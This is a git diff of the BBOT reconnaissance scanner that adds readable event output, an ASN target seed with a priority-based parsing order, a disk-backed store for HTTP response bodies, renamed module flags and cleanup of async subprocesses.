 class TECHNOLOGY(DictHostEvent):
@@ -1609,6 +1984,11 @@ class _data_validator(BaseModel):
         _validate_url = field_validator("url")(validators.validate_url)
         _validate_host = field_validator("host")(validators.validate_host)
 
+    def _sanitize_data(self, data):
+        data = super()._sanitize_data(data)
+        data["technology"] = data["technology"].lower()
+        return data
+
     def _data_id(self):
         # dedupe by host+port+tech
         tech = self.data.get("technology", "")
@@ -1617,17 +1997,41 @@ def _data_id(self):
     def _pretty_string(self):
         return self.data["technology"]
 
+    def _data_human(self):
+        tech = self.data["technology"]
+        url = self.data.get("url", "")
+        if url:
+            return f"{tech} ({url})"
+        return tech
+
 
-class VHOST(DictHostEvent):
+class VIRTUAL_HOST(DictHostEvent):
     class _data_validator(BaseModel):
         host: str
-        vhost: str
+        virtual_host: str
         url: Optional[str] = None
+        description: Optional[str] = None
+        ip: Optional[str] = None
         _validate_url = field_validator("url")(validators.validate_url)
         _validate_host = field_validator("host")(validators.validate_host)
 
+    def _data_id(self):
+        virtual_host = self.data.get("virtual_host", "")
+        return f"{self.host}:{virtual_host}"
+
     def _pretty_string(self):
-        return self.data["vhost"]
+        virtual_host = self.data.get("virtual_host", "")
+        url = self.data.get("url", "")
+        description = self.data.get("description", "")
+        parts = [virtual_host]
+        if url:
+            parts.append(f"({url})")
+        if description:
+            parts.append(description)
+        return " ".join(parts)
+
+    def _data_human(self):
+        return self._pretty_string()
 
 
 class PROTOCOL(DictHostEvent):
@@ -1651,11 +2055,35 @@ def port(self):
     def _pretty_string(self):
         return self.data["protocol"]
 
+    def _data_human(self):
+        protocol = self.data["protocol"]
+        port = self.data.get("port")
+        banner = self.data.get("banner", "")
+        if port:
+            result = f"{protocol}/{port}"
+        else:
+            result = protocol
+        if banner:
+            result += f" - {banner}"
+        return result
+
 
 class GEOLOCATION(BaseEvent):
     _always_emit = True
     _quick_emit = True
 
+    def _data_human(self):
+        country = self.data.get("country_name", "")
+        region = self.data.get("region_name", "")
+        city = self.data.get("city_name", "") or self.data.get("city", "")
+        lat = self.data.get("latitude", "")
+        lon = self.data.get("longitude", "")
+        location_parts = [p for p in (city, region, country) if p]
+        result = ", ".join(location_parts)
+        if lat and lon:
+            result += f" ({lat}, {lon})"
+        return result if result else super()._data_human()
+
 
 class PASSWORD(BaseEvent):
     _always_emit = True
@@ -1677,16 +2105,50 @@ class SOCIAL(DictHostEvent):
     _quick_emit = True
     _scope_distance_increment_same_host = True
 
+    def _data_human(self):
+        platform = self.data.get("platform", "")
+        profile_name = self.data.get("profile_name", "")
+        url = self.data.get("url", "")
+        parts = []
+        if platform:
+            parts.append(f"{platform}:")
+        parts.append(profile_name)
+        if url:
+            parts.append(f"({url})")
+        return " ".join(parts)
+
 
-class WEBSCREENSHOT(DictPathEvent, DictHostEvent):
+class WEBSCREENSHOT(DictPathEvent):
     _always_emit = True
     _quick_emit = True
 
+    def _data_human(self):
+        return f"{self.data.get('url', '')} Saved to: {self.data.get('path', '')}"
+
 
 class AZURE_TENANT(DictEvent):
     _always_emit = True
     _quick_emit = True
 
+    def _data_human(self):
+        max_domains = 20
+        tenant_names = self.data.get("tenant-names", [])
+        tenant_id = self.data.get("tenant-id", "")
+        domains = self.data.get("domains", [])
+        parts = []
+        if tenant_names:
+            parts.append(", ".join(tenant_names))
+        if tenant_id:
+            parts.append(f"({tenant_id})")
+        if domains:
+            if len(domains) <= max_domains:
+                parts.append(f"- {', '.join(domains)}")
+            else:
+                shown = ", ".join(domains[:max_domains])
+                hidden = len(domains) - max_domains
+                parts.append(f"- {shown} (hiding {hidden} additional domains)")
+        return " ".join(parts) if parts else super()._data_human()
+
 
 class WAF(DictHostEvent):
     _always_emit = True
@@ -1703,8 +2165,25 @@ class _data_validator(BaseModel):
     def _pretty_string(self):
         return self.data["waf"]
 
+    def _data_human(self):
+        waf = self.data["waf"]
+        info = self.data.get("info", "")
+        url = self.data.get("url", "")
+        if info:
+            waf += f" - {info}"
+        if url:
+            waf += f" ({url})"
+        return waf
+
 
 class FILESYSTEM(DictPathEvent):
+    def _data_human(self):
+        path = self.data.get("path", "")
+        description = self.data.get("magic_description", "")
+        if description:
+            return f"{path} ({description})"
+        return path
+
     def __init__(self, *args, **kwargs):
         super().__init__(*args, **kwargs)
         if self._data_path.is_file():
@@ -1731,13 +2210,20 @@ def __init__(self, *args, **kwargs):
 
 class RAW_DNS_RECORD(DictHostEvent, DnsEvent):
     # don't emit raw DNS records for affiliates
-    _always_emit_tags = ["target"]
+    _always_emit_tags = ["seed"]
+
+    def _data_human(self):
+        rdtype = self.data.get("type", "")
+        host = self.data.get("host", "")
+        answer = self.data.get("answer", "")
+        return f"{rdtype} {host} -> {answer}"
 
 
 class MOBILE_APP(DictEvent):
     _always_emit = True
 
     def _sanitize_data(self, data):
+        data = super()._sanitize_data(data)
         if isinstance(data, str):
             data = {"url": data}
         if "url" not in data:
@@ -1761,6 +2247,13 @@ def _sanitize_data(self, data):
     def _pretty_string(self):
         return self.data["url"]
 
+    def _data_human(self):
+        app_id = self.data.get("id", "")
+        url = self.data.get("url", "")
+        if app_id and url:
+            return f"{app_id} ({url})"
+        return url or app_id
+
 
 def update_event(
     event,
@@ -1819,7 +2312,6 @@ def make_event(
     module=None,
     scan=None,
     tags=None,
-    confidence=100,
     dummy=False,
     internal=None,
 ):
@@ -1838,7 +2330,6 @@ def make_event(
         scan (Scan, optional): BBOT Scan object associated with the event.
         scans (List[Scan], optional): Multiple BBOT Scan objects, primarily used for unserialization.
         tags (Union[str, List[str]], optional): Descriptive tags for the event, as a list or a single string.
-        confidence (int, optional): Confidence level for the event, on a scale of 1-100. Defaults to 100.
         dummy (bool, optional): Disables data validations if set to True. Defaults to False.
         internal (Any, optional): Makes the event internal if set to True. Defaults to None.
 
@@ -1872,7 +2363,7 @@ def make_event(
         if not dummy:
             log.debug(f'Autodetected event type "{event_type}" based on data: "{data}"')
 
-    event_type = str(event_type).strip().upper()
+    event_type = sys.intern(str(event_type).strip().upper())
 
     # Catch these common whoopsies
     if event_type in ("DNS_NAME", "IP_ADDRESS"):
@@ -1885,7 +2376,8 @@ def make_event(
                 data = validators.validate_host(data)
             except Exception as e:
                 log.trace(traceback.format_exc())
-                raise ValidationError(f'Error sanitizing event data "{data}" for type "{event_type}": {e}')
+                data_preview = str(data)[:200] + "..." if len(str(data)) > 200 else str(data)
+                raise ValidationError(f'Error sanitizing event data "{data_preview}" for type "{event_type}": {e}')
             data_is_ip = is_ip(data)
             if event_type == "DNS_NAME" and data_is_ip:
                 event_type = "IP_ADDRESS"
@@ -1912,13 +2404,12 @@ def make_event(
         module=module,
         scan=scan,
         tags=tags,
-        confidence=confidence,
         _dummy=dummy,
         _internal=internal,
     )
 
 
-def event_from_json(j, siem_friendly=False):
+def event_from_json(j):
     """
     Creates an event object from a JSON dictionary.
 
@@ -1945,14 +2436,15 @@ def event_from_json(j, siem_friendly=False):
         kwargs = {
             "event_type": event_type,
             "tags": j.get("tags", []),
-            "confidence": j.get("confidence", 100),
             "context": j.get("discovery_context", None),
             "dummy": True,
         }
-        if siem_friendly:
-            data = j["data"][event_type]
-        else:
-            data = j["data"]
+        data = j.get("data_json", None)
+        if data is None:
+            data = j.get("data", None)
+        if data is None:
+            json_pretty = json.dumps(j, indent=2)
+            raise ValueError(f"data or data_json must be provided. JSON: {json_pretty}")
         kwargs["data"] = data
         event = make_event(**kwargs)
         event_uuid = j.get("uuid", None)
@@ -1960,8 +2452,20 @@ def event_from_json(j, siem_friendly=False):
             event._uuid = uuid.UUID(event_uuid.split(":")[-1])
 
         resolved_hosts = j.get("resolved_hosts", [])
-        event._resolved_hosts = set(resolved_hosts)
-        event.timestamp = datetime.datetime.fromisoformat(j["timestamp"])
+        event._resolved_hosts = frozenset(resolved_hosts) if resolved_hosts else None
+
+        http_title = j.get("http_title", "")
+        if http_title:
+            try:
+                event.http_title = http_title
+            except AttributeError:
+                pass
+
+        # accept both isoformat and unix timestamp
+        try:
+            event.timestamp = datetime.datetime.fromtimestamp(j["timestamp"], ZoneInfo("UTC"))
+        except Exception:
+            event.timestamp = datetime.datetime.fromisoformat(j["timestamp"])
         event.scope_distance = j["scope_distance"]
         parent_id = j.get("parent", None)
         if parent_id is not None:
diff --git a/bbot/core/event/helpers.py b/bbot/core/event/helpers.py
index 524eccbcd8..be85faef55 100644
--- a/bbot/core/event/helpers.py
+++ b/bbot/core/event/helpers.py
@@ -1,14 +1,27 @@
-import ipaddress
 import regex as re
 from functools import cached_property
 from bbot.errors import ValidationError
 from bbot.core.helpers import validators
-from bbot.core.helpers.misc import split_host_port, make_ip_type
+from bbot.core.helpers.misc import split_host_port, make_ip_type, cached_ip_address, cached_ip_network
 from bbot.core.helpers import regexes, smart_decode, smart_encode_punycode
 
 bbot_event_seeds = {}
 
 
+# Pre-compute sorted event classes for performance
+# This is computed once when the module is loaded instead of on every EventSeed() call
+def _get_sorted_event_classes():
+    """
+    Sort event classes by priority (higher priority first).
+    This ensures specific patterns like ASN:12345 are checked before broad patterns like hostname:port.
+    """
+    return sorted(bbot_event_seeds.items(), key=lambda x: getattr(x[1], "priority", 5), reverse=True)
+
+
+# This will be populated after all event seed classes are registered
+_sorted_event_classes = None
+
+
 """
 An "Event Seed" is a lightweight event containing only the minimum logic required to:
     - parse input to determine the event type + data
@@ -18,6 +31,19 @@
 It's useful for quickly parsing target lists without the cpu+memory overhead of creating full-fledged BBOT events
 
 Not every type of BBOT event needs to be represented here. Only ones that are meant to be targets.
+
+PRIORITY SYSTEM:
+Event seeds support a priority system to control the order in which regex patterns are checked.
+This prevents conflicts where one event type's regex might incorrectly match another type's input.
+
+Priority values:
+- Higher numbers = checked first
+- Default priority = 5
+- Range: 1-10
+
+To set priority on an event seed class:
+    class MyEventSeed(BaseEventSeed):
+        priority = 8  # Higher than default, will be checked before most others
 """
 
 
@@ -27,17 +53,25 @@ class EventSeedRegistry(type):
     """
 
     def __new__(mcs, name, bases, attrs):
-        global bbot_event_seeds
+        global bbot_event_seeds, _sorted_event_classes
         cls = super().__new__(mcs, name, bases, attrs)
         # Don't register the base EventSeed class
         if name != "BaseEventSeed":
             bbot_event_seeds[cls.__name__] = cls
+            # Recompute sorted classes whenever a new event seed is registered
+            _sorted_event_classes = _get_sorted_event_classes()
         return cls
 
 
 def EventSeed(input):
     input = smart_encode_punycode(smart_decode(input).strip())
-    for _, event_class in bbot_event_seeds.items():
+
+    # Use pre-computed sorted event classes for better performance
+    global _sorted_event_classes
+    if _sorted_event_classes is None:
+        _sorted_event_classes = _get_sorted_event_classes()
+
+    for _, event_class in _sorted_event_classes:
         if hasattr(event_class, "precheck"):
             if event_class.precheck(input):
                 return event_class(input)
@@ -53,6 +87,7 @@ def EventSeed(input):
 class BaseEventSeed(metaclass=EventSeedRegistry):
     regexes = []
     _target_type = "TARGET"
+    priority = 5  # Default priority for event seed matching (1-10, higher = checked first)
 
     __slots__ = ["data", "host", "port", "input"]
 
@@ -76,6 +111,9 @@ def _sanitize_and_extract_host(self, data):
         """
         return data, None, None
 
+    async def _generate_children(self, helpers):
+        return []
+
     def _override_input(self, input):
         return self.data
 
@@ -83,6 +121,12 @@ def _override_input(self, input):
     def type(self):
         return self.__class__.__name__
 
+    @property
+    def url(self):
+        if self.type == "URL_UNVERIFIED":
+            return self.data
+        return ""
+
     @cached_property
     def _hash(self):
         return hash(self.input)
@@ -106,13 +150,13 @@ class IP_ADDRESS(BaseEventSeed):
     @staticmethod
     def precheck(data):
         try:
-            return ipaddress.ip_address(data)
+            return cached_ip_address(data)
         except ValueError:
             return False
 
     @staticmethod
     def _sanitize_and_extract_host(data):
-        validated = ipaddress.ip_address(data)
+        validated = cached_ip_address(data)
         return str(validated), validated, None
 
 
@@ -131,18 +175,19 @@ class IP_RANGE(BaseEventSeed):
     @staticmethod
     def precheck(data):
         try:
-            return ipaddress.ip_network(str(data), strict=False)
+            return cached_ip_network(str(data))
         except ValueError:
             return False
 
     @staticmethod
     def _sanitize_and_extract_host(data):
-        validated = ipaddress.ip_network(str(data), strict=False)
+        validated = cached_ip_network(str(data))
         return str(validated), validated, None
 
 
 class OPEN_TCP_PORT(BaseEventSeed):
     regexes = regexes.event_type_regexes["OPEN_TCP_PORT"]
+    priority = 1  # Low priority: broad hostname:port pattern should be checked after specific patterns
 
     @staticmethod
     def _sanitize_and_extract_host(data):
@@ -236,3 +281,25 @@ def _override_input(self, input):
     @staticmethod
     def handle_match(match):
         return match.group(1)
+
+
+class ASN(BaseEventSeed):
+    regexes = (re.compile(r"^(?:ASN|AS):?(\d+)$", re.I),)  # adjust regex to match ASN:17178 AS17178
+    priority = 10  # High priority
+
+    def _override_input(self, input):
+        return f"ASN:{self.data}"
+
+    # ASNs are essentially a superset of IP_RANGES. This resolves the ASN to its
+    # subnets via the shared ASN helper and emits each CIDR as a child seed,
+    # which is later resolved to an IP_RANGE seed and added to the target.
+    async def _generate_children(self, helpers):
+        asn_data = await helpers.asn.asn_to_subnets(self.data)
+        subnets = asn_data.get("subnets") or []
+        if isinstance(subnets, str):
+            subnets = [subnets]
+        return list(subnets)
+
+    @staticmethod
+    def handle_match(match):
+        return match.group(1)
diff --git a/bbot/core/event/spill.py b/bbot/core/event/spill.py
new file mode 100644
index 0000000000..f5ac39bb0d
--- /dev/null
+++ b/bbot/core/event/spill.py
@@ -0,0 +1,225 @@
+"""
+Per-scan disk-spill store for HTTP_RESPONSE bodies.
+
+Bodies are the dominant memory tenant in long-running scans (in our
+benchmarks, mid-scan body bytes peak at ~640 MB on a wide-and-busy
+workload). Holding them in event objects until ``_minimize()`` fires
+keeps Python's working set above what the actual processing pipeline
+needs.
+
+This store keeps bodies on disk under ``${scan.temp_dir}/bodies/`` and
+serves reads from a bounded LRU cache. The cache absorbs the
+processing-window working set; reads only touch disk when the working
+set exceeds the cache.
+
+Design (locked-in):
+
+  - **Trigger**: every body always spills (never threshold-based).
+  - **Storage**: file-per-event, ``${scan.temp_dir}/bodies/{uuid}.body[.zst]``.
+  - **Compression**: zstd level 1 (configurable on/off).
+  - **Cache**: bounded by total bytes (default 512 MB), keyed by event
+    UUID, value is decompressed body bytes.
+  - **Eviction**: biggest-first, FIFO tie-break. (Pure LRU is wrong for
+    BBOT's pipeline — "least recently used" tends to be the next event
+    to be processed, not a candidate for eviction.)
+  - **Reads**: synchronous. Cache hit is instant; misses do a small
+    blocking read from page cache (typically microseconds).
+  - **Writes**: synchronous to OS page cache (a few hundred microseconds
+    for a typical body; OS handles actual disk flush async).
+  - **Lifecycle**: file + cache entry are deleted when the event's
+    ``_minimize()`` fires. Scan-end ``rm_rf`` of ``temp_dir`` mops up
+    anything that escaped.
+"""
+
+import logging
+from pathlib import Path
+from typing import Optional
+
+import zstandard as zstd
+
+log = logging.getLogger("bbot.spill")
+
+
+class BodySpillStore:
+    """
+    LRU + on-disk store for HTTP response bodies.
+
+    Bodies are always written to disk on insert. The LRU is a working-set
+    cache — hits are fast, misses re-read from disk. Eviction is
+    biggest-first with FIFO tie-break, which respects BBOT's roughly-FIFO
+    pipeline order (the oldest cache entry is typically the next event
+    to be processed, so the smaller-newer entries are safer to evict).
+
+    Thread-safety: not thread-safe. Designed for single-event-loop use
+    inside a Scanner. Calls cross the event loop boundary only via
+    cooperative ``await``, but I/O itself is synchronous (page cache).
+
+    Hit/miss accounting is exposed via ``stats()`` for benchmark and
+    operational visibility.
+    """
+
+    # Module-internal sentinel for evicted-but-not-deleted entries during
+    # iteration. Currently unused — left here for future async-write work.
+    _UNSET = object()
+
+    def __init__(
+        self,
+        base_dir: Path,
+        cache_bytes: int = 512 * 1024 * 1024,
+        compress: bool = True,
+        compress_level: int = 1,
+    ):
+        self.base_dir = Path(base_dir)
+        self.base_dir.mkdir(parents=True, exist_ok=True)
+        self.cache_bytes = int(cache_bytes)
+        self.compress = bool(compress)
+        # Compressors are cheap to construct but reusable.
+        self._cctx = zstd.ZstdCompressor(level=compress_level) if compress else None
+        self._dctx = zstd.ZstdDecompressor() if compress else None
+
+        # Cache value: dict with bytes + insertion sequence (for FIFO tie-break).
+        # {uuid: {"body": bytes, "seq": int}}
+        self._cache: dict[str, dict] = {}
+        self._cache_total_bytes = 0
+        self._seq = 0  # monotonic insertion counter
+
+        # Stats
+        self._hits = 0
+        self._misses = 0
+        self._writes = 0
+        self._evictions = 0
+
+    # ── Public API ────────────────────────────────────────────────────
+
+    def write(self, event_uuid: str, body: bytes) -> None:
+        """
+        Spill a body to disk and seed the cache. The body remains
+        immediately readable (cache hit) until evicted; thereafter,
+        reads pull from disk.
+
+        ``body`` must be ``bytes``. Callers passing ``str`` should
+        ``.encode("utf-8", errors="replace")`` first.
+        """
+        if not isinstance(body, (bytes, bytearray, memoryview)):
+            raise TypeError(f"body must be bytes-like, got {type(body).__name__}")
+        body_bytes = bytes(body)
+
+        path = self._path_for(event_uuid)
+        if self.compress:
+            on_disk = self._cctx.compress(body_bytes)
+        else:
+            on_disk = body_bytes
+
+        # Synchronous write to page cache. Fast (memcpy), the OS does
+        # the real disk flush asynchronously.
+        path.write_bytes(on_disk)
+        self._writes += 1
+
+        self._insert_cache(event_uuid, body_bytes)
+
+    def read(self, event_uuid: str) -> Optional[bytes]:
+        """
+        Return the body for ``event_uuid``, or ``None`` if neither
+        cache nor disk has it.
+
+        Cache hit: instant. Cache miss + file present: small blocking
+        disk read (page-cached after first hit).
+        """
+        entry = self._cache.get(event_uuid)
+        if entry is not None:
+            self._hits += 1
+            return entry["body"]
+
+        # Miss — try disk.
+        path = self._path_for(event_uuid)
+        if not path.exists():
+            self._misses += 1
+            return None
+
+        on_disk = path.read_bytes()
+        body_bytes = self._dctx.decompress(on_disk) if self.compress else on_disk
+
+        self._misses += 1
+        self._insert_cache(event_uuid, body_bytes)
+        return body_bytes
+
+    def evict_and_delete(self, event_uuid: str) -> None:
+        """
+        Drop ``event_uuid`` from the cache and delete the file.
+
+        Called from ``HTTP_RESPONSE._minimize()`` when the event is no
+        longer needed by any module.
+        """
+        entry = self._cache.pop(event_uuid, None)
+        if entry is not None:
+            self._cache_total_bytes -= len(entry["body"])
+
+        path = self._path_for(event_uuid)
+        try:
+            path.unlink()
+        except FileNotFoundError:
+            pass
+        except Exception as e:  # pragma: no cover — defensive
+            log.debug(f"failed to unlink spill file {path}: {e}")
+
+    def stats(self) -> dict:
+        """Hit/miss/eviction counters and current cache fill."""
+        total = self._hits + self._misses
+        hit_rate = (self._hits / total) if total else 0.0
+        return {
+            "hits": self._hits,
+            "misses": self._misses,
+            "writes": self._writes,
+            "evictions": self._evictions,
+            "hit_rate": round(hit_rate, 4),
+            "cache_entries": len(self._cache),
+            "cache_bytes": self._cache_total_bytes,
+            "cache_bytes_limit": self.cache_bytes,
+        }
+
+    # ── Internal ──────────────────────────────────────────────────────
+
+    def _path_for(self, event_uuid: str) -> Path:
+        suffix = ".body.zst" if self.compress else ".body"
+        return self.base_dir / f"{event_uuid}{suffix}"
+
+    def _insert_cache(self, event_uuid: str, body_bytes: bytes) -> None:
+        """Insert into cache, evicting biggest-first / oldest-first as needed."""
+        body_size = len(body_bytes)
+
+        # Replace existing entry if present (keeps semantics simple if a
+        # body is rewritten — currently never happens, but cheap insurance).
+        existing = self._cache.pop(event_uuid, None)
+        if existing is not None:
+            self._cache_total_bytes -= len(existing["body"])
+
+        # If a single body exceeds the entire cache budget, don't try
+        # to cache it — disk reads will be the only path.
+        if body_size > self.cache_bytes:
+            return
+
+        # Evict until there's room.
+        while self._cache_total_bytes + body_size > self.cache_bytes and self._cache:
+            self._evict_one()
+
+        self._seq += 1
+        self._cache[event_uuid] = {"body": body_bytes, "seq": self._seq}
+        self._cache_total_bytes += body_size
+
+    def _evict_one(self) -> None:
+        """Pick a victim by ``(-size, seq)`` — biggest-first, FIFO tie-break."""
+        # Single-pass min: maximize size, minimize seq among ties.
+        victim_uuid = None
+        victim_size = -1
+        victim_seq = float("inf")
+        for u, entry in self._cache.items():
+            sz = len(entry["body"])
+            if sz > victim_size or (sz == victim_size and entry["seq"] < victim_seq):
+                victim_uuid = u
+                victim_size = sz
+                victim_seq = entry["seq"]
+        if victim_uuid is None:  # pragma: no cover — empty cache, defensive
+            return
+        entry = self._cache.pop(victim_uuid)
+        self._cache_total_bytes -= len(entry["body"])
+        self._evictions += 1
diff --git a/bbot/core/flags.py b/bbot/core/flags.py
index 3391b48635..26ee48f840 100644
--- a/bbot/core/flags.py
+++ b/bbot/core/flags.py
@@ -1,25 +1,25 @@
 flag_descriptions = {
     "active": "Makes active connections to target systems",
     "affiliates": "Discovers affiliated hostnames/domains",
-    "aggressive": "Generates a large amount of network traffic",
     "baddns": "Runs all modules from the DNS auditing tool BadDNS",
     "cloud-enum": "Enumerates cloud resources",
     "code-enum": "Find public code repositories and search them for secrets etc.",
-    "deadly": "Highly aggressive",
     "download": "Modules that download files, apps, or repositories",
     "email-enum": "Enumerates email addresses",
     "iis-shortnames": "Scans for IIS Shortname vulnerability",
+    "invasive": "Intrusive or potentially destructive",
+    "loud": "Generates a large amount of network traffic",
     "passive": "Never connects to target systems",
+    "safe": "Non-intrusive and non-destructive",
     "portscan": "Discovers open ports",
     "report": "Generates a report at the end of the scan",
-    "safe": "Non-intrusive, safe to run",
     "service-enum": "Identifies protocols running on open ports",
     "slow": "May take a long time to complete",
     "social-enum": "Enumerates social media",
     "subdomain-enum": "Enumerates subdomains",
     "subdomain-hijack": "Detects hijackable subdomains",
-    "web-basic": "Basic, non-intrusive web scan functionality",
+    "web": "Non-intrusive web scan functionality",
+    "web-heavy": "More advanced web scanning functionality",
     "web-paramminer": "Discovers HTTP parameters through brute-force",
     "web-screenshots": "Takes screenshots of web pages",
-    "web-thorough": "More advanced web scanning functionality",
 }
diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py
new file mode 100644
index 0000000000..30de61554d
--- /dev/null
+++ b/bbot/core/helpers/asn.py
@@ -0,0 +1,118 @@
+import logging
+
+from bbot.errors import ASNResolutionError
+from bbot.core.helpers.async_helpers import NamedLock
+
+log = logging.getLogger("bbot.core.helpers.asn")
+
+
+class ASNHelper:
+    """Thin wrapper around the asndb library for ASN lookups.
+
+    Delegates all HTTP, caching, and retry logic to the asndb library.
+    Normalizes response dicts to the BBOT-internal format with keys:
+        asn, subnets, name, description, country
+    """
+
+    UNKNOWN_ASN = {
+        "asn": 0,
+        "subnets": [],
+        "name": "Unknown",
+        "description": "Unknown ASN",
+        "country": "Unknown",
+    }
+
+    FAILURE_THRESHOLD = 5
+    MAX_RETRIES = 3
+    RETRY_DELAY = 3
+
+    def __init__(self, parent_helper):
+        self.parent_helper = parent_helper
+        self._client = None
+        self._consecutive_failures = 0
+        self._circuit_broken = False
+        # serialize asndb requests so concurrent callers don't stampede the rate-limited API
+        self._request_lock = NamedLock()
+
+    @property
+    def client(self):
+        if self._client is None:
+            from asndb import ASNDB
+
+            ssl_verify = self.parent_helper.web_config.get("ssl_verify_infrastructure", True)
+            api_key = self.parent_helper.config.get("bbot_io_api_key", None)
+            self._client = ASNDB(bbot_io_api_key=api_key, verify=ssl_verify)
+        return self._client
+
+    def _normalize(self, response):
+        """Convert asndb response dict to BBOT internal format."""
+        if response is None or response.get("asn", 0) == 0:
+            return self.UNKNOWN_ASN
+        return {
+            "asn": int(response.get("asn", 0)),
+            "subnets": response.get("subnets", []),
+            "name": response.get("asn_name") or response.get("name") or "",
+            "description": response.get("org") or response.get("description") or "",
+            "country": response.get("country") or "",
+        }
+
+    def _record_failure(self):
+        self._consecutive_failures += 1
+        if self._consecutive_failures >= self.FAILURE_THRESHOLD and not self._circuit_broken:
+            self._circuit_broken = True
+            log.critical(
+                "ASN lookups disabled for the rest of this scan after %d consecutive failures. "
+                "The bbot.io ASN API could not be reached (this may be due to regional network restrictions). "
+                "ASN enrichment data will not be available.",
+                self.FAILURE_THRESHOLD,
+            )
+
+    async def ip_to_subnets(self, ip):
+        """Return ASN info for an IP address."""
+        if self._circuit_broken:
+            return self.UNKNOWN_ASN
+        try:
+            async with self._request_lock.lock("asndb"):
+                response = await self.client.lookup_ip(str(ip), include_subnets=True)
+        except Exception as e:
+            log.warning(f"ASN lookup failed for IP {ip}: {e}")
+            self._record_failure()
+            return self.UNKNOWN_ASN
+        self._consecutive_failures = 0
+        return self._normalize(response)
+
+    async def asn_to_subnets(self, asn):
+        """Resolve an ASN number to its subnets, retrying on transient failure.
+
+        Used by ASN-as-target seed expansion, which cannot degrade gracefully:
+        without the ASN's subnets there is nothing to scan. Raises
+        ASNResolutionError if the ASN can't be resolved after MAX_RETRIES so the
+        scan aborts with guidance instead of silently scanning nothing.
+        """
+        asn = int(str(asn).lower().lstrip("as"))
+        last_error = None
+        for attempt in range(1, self.MAX_RETRIES + 1):
+            try:
+                async with self._request_lock.lock("asndb"):
+                    response = await self.client.lookup_asn(asn, include_subnets=True)
+                return self._normalize(response)
+            except Exception as e:
+                last_error = e
+                log.warning(f"ASN resolution attempt {attempt}/{self.MAX_RETRIES} failed for AS{asn}: {e}")
+                if attempt < self.MAX_RETRIES:
+                    await self.parent_helper.sleep(self.RETRY_DELAY)
+        raise ASNResolutionError(f"AS{asn}: {last_error}")
+
+    async def cleanup(self):
+        """Clean up the asndb client."""
+        if self._client is not None:
+            try:
+                await self._client.cleanup()
+            except Exception:
+                pass
+            self._client = None
+            # Reset the asndb global singleton so the next ASNDB() call
+            # creates a fresh client instead of returning the closed one
+            import asndb.asndb
+
+            asndb.asndb.asndb_client = None
diff --git a/bbot/core/helpers/async_helpers.py b/bbot/core/helpers/async_helpers.py
index a9d8adc6fe..4620dc8345 100644
--- a/bbot/core/helpers/async_helpers.py
+++ b/bbot/core/helpers/async_helpers.py
@@ -51,24 +51,20 @@ async def lock(self, name):
 class TaskCounter:
     def __init__(self):
         self.tasks = {}
-        self._lock = None
 
     @property
     def value(self):
         return sum([t.n for t in self.tasks.values()])
 
-    @property
-    def lock(self):
-        if self._lock is None:
-            self._lock = asyncio.Lock()
-        return self._lock
-
     def count(self, task_name, n=1, asyncio_task=None, _log=True):
         if callable(task_name):
             task_name = f"{task_name.__qualname__}()"
         return self.Task(self, task_name, n=n, _log=_log, asyncio_task=asyncio_task)
 
     class Task:
+        # asyncio is single-threaded, so the dict mutations below are safe without a lock.
+        # Keeping __aenter__/__aexit__ free of awaits means `async with counter.count(...)` resolves
+        # without yielding to the event loop — cheap enough for hot paths like precheck/postcheck.
         def __init__(self, manager, task_name, n=1, _log=True, asyncio_task=None):
             self.manager = manager
             self.task_name = task_name
@@ -80,18 +76,12 @@ def __init__(self, manager, task_name, n=1, _log=True, asyncio_task=None):
 
         async def __aenter__(self):
             self.task_id = uuid.uuid4()
-            # if self.log:
-            #     log.trace(f"Starting task {self.task_name} ({self.task_id})")
-            async with self.manager.lock:
-                self.start_time = time.time()
-                self.manager.tasks[self.task_id] = self
+            self.start_time = time.time()
+            self.manager.tasks[self.task_id] = self
             return self
 
         async def __aexit__(self, exc_type, exc_val, exc_tb):
-            async with self.manager.lock:
-                self.manager.tasks.pop(self.task_id, None)
-            # if self.log:
-            #     log.trace(f"Finished task {self.task_name} ({self.task_id})")
+            self.manager.tasks.pop(self.task_id, None)
 
         @property
         def asyncio_task(self):
@@ -133,6 +123,25 @@ def async_to_sync_gen(async_gen):
             yield loop.run_until_complete(async_gen.__anext__())
     except StopAsyncIteration:
         pass
+    finally:
+        # Explicitly close the async generator so its finally block
+        # (e.g. Scanner.async_start's cleanup) runs while the loop
+        # is still alive, not deferred to interpreter shutdown.
+        with suppress(BaseException):
+            loop.run_until_complete(async_gen.aclose())
+        # Cancel any remaining pending tasks to prevent
+        # "Task was destroyed but it is pending!" warnings
+        pending = [t for t in asyncio.all_tasks(loop) if not t.done()]
+        for t in pending:
+            t.cancel()
+        if pending:
+            with suppress(BaseException):
+                loop.run_until_complete(
+                    asyncio.wait_for(
+                        asyncio.gather(*pending, return_exceptions=True),
+                        timeout=5,
+                    )
+                )
 
 
 def async_cachedmethod(cache, key=keys.hashkey):
diff --git a/bbot/core/helpers/command.py b/bbot/core/helpers/command.py
index 7da96bbd38..173e100698 100644
--- a/bbot/core/helpers/command.py
+++ b/bbot/core/helpers/command.py
@@ -1,6 +1,7 @@
 import os
 import asyncio
 import logging
+import contextlib
 import traceback
 from signal import SIGINT
 from subprocess import CompletedProcess, CalledProcessError, SubprocessError
@@ -157,7 +158,18 @@ async def run_live(self, *command, check=False, text=True, idle_timeout=None, **
                     command_str = " ".join(command)
                     log.warning(f"Stderr for run_live({command_str}):\n\t{stderr}")
         finally:
-            proc_tracker.remove(proc)
+            proc_tracker.discard(proc)
+            # Kill the subprocess if it's still running (e.g. generator was cancelled/closed)
+            if proc.returncode is None:
+                with contextlib.suppress(Exception):
+                    proc.terminate()
+                try:
+                    await asyncio.wait_for(proc.wait(), timeout=5)
+                except (asyncio.TimeoutError, Exception):
+                    with contextlib.suppress(Exception):
+                        proc.kill()
+                if input_task is not None:
+                    input_task.cancel()
 
 
 async def _spawn_proc(self, *command, **kwargs):
@@ -270,7 +282,7 @@ def _prepare_command_kwargs(self, command, kwargs):
         >>> _prepare_command_kwargs(['ls', '-l'], {'sudo': True})
         (['sudo', '-E', '-A', 'LD_LIBRARY_PATH=...', 'PATH=...', 'ls', '-l'], {'limit': 104857600, 'stdout': -1, 'stderr': -1, 'env': environ(...)})
     """
-    # limit = 100MB (this is needed for cases like httpx that are sending large JSON blobs over stdout)
+    # limit = 100MB (this is needed for cases that are sending large JSON blobs over stdout)
     if "limit" not in kwargs:
         kwargs["limit"] = 1024 * 1024 * 100
     if "stdout" not in kwargs:
diff --git a/bbot/core/helpers/depsinstaller/installer.py b/bbot/core/helpers/depsinstaller/installer.py
index 1348ed077c..baba35d562 100644
